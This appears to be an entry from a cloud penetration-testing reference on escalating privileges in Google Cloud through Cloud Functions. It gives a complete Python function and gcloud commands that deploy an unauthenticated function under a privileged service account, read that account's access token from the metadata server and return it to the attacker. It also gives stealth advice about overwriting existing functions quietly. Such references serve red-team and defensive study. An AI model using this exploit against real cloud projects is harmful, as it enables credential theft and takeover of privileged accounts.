With cloudfunctions.functions.create (or update) and actAs on a service account, you deploy a function that runs your code as that account. The function body reads its own token from the metadata server and returns it, or acts directly with the account's permissions.
Deploy a function that leaks its token#
cat > main.py <<'EOF'
import requests, os
def pwn(request):
t = requests.get(
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
headers={"Metadata-Flavor": "Google"}).text
return t
EOF
echo "requests" > requirements.txt
gcloud functions deploy pwn --runtime=python311 --trigger-http --allow-unauthenticated \
--entry-point=pwn --service-account=<privileged-sa>@<project>.iam.gserviceaccount.com --source=.
curl "$(gcloud functions describe pwn --format='value(httpsTrigger.url)')"
Exploitation notes#
--service-accountis whereactAsis exercised; without specifying it the function runs as the default account, which is often Editor anyway.- Gen2 functions run on Cloud Run under the hood; the token path is identical.
- Updating an existing function's code (
functions deployon the same name) is quieter than creating a new one and inherits its already-privileged account.
Tools#
- gcloud (
functions deploy,functions describe): deploy and get the trigger URL. - GCP-IAM-Privilege-Escalation (Rhino): automates the deploy-and-steal variant.